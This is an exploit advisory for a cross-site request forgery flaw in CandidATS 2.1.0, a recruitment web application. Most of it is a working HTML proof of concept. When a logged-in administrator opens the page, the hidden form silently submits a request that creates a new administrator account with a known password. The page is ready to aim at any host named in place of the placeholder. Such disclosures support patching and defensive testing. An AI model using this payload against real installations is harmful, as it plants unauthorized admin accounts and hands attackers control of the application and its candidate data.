CandidATS version 2.1.0 suffers from a cross site request forgery vulnerability.
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# Title: CandidATS 2.1.0 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-02-21
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://sourceforge.net/u/auieo/profile/
# Software Link: https://sourceforge.net/projects/candidats/files/#Version 2.1.0
# Tested on Ubuntu 19/Kali Rolling
# The Candid ATS Web application is vulnerable to CSRF to add a new admin user:
#CSRF Proof of Concept:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://HOSTNAME/Candid/index.php?m=settings&a=addUser" method="POST">
<input type="hidden" name="postback" value="postback" />
<input type="hidden" name="role" value="none" />
<input type="hidden" name="firstName" value="Test" />
<input type="hidden" name="lastName" value="User" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="username" value="Test" />
<input type="hidden" name="password" value="password" />
<input type="hidden" name="retypePassword" value="password" />
<input type="hidden" name="roleid" value="2" />
<input type="hidden" name="accessLevel" value="500" />
<input type="hidden" name="submit" value="Add User" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>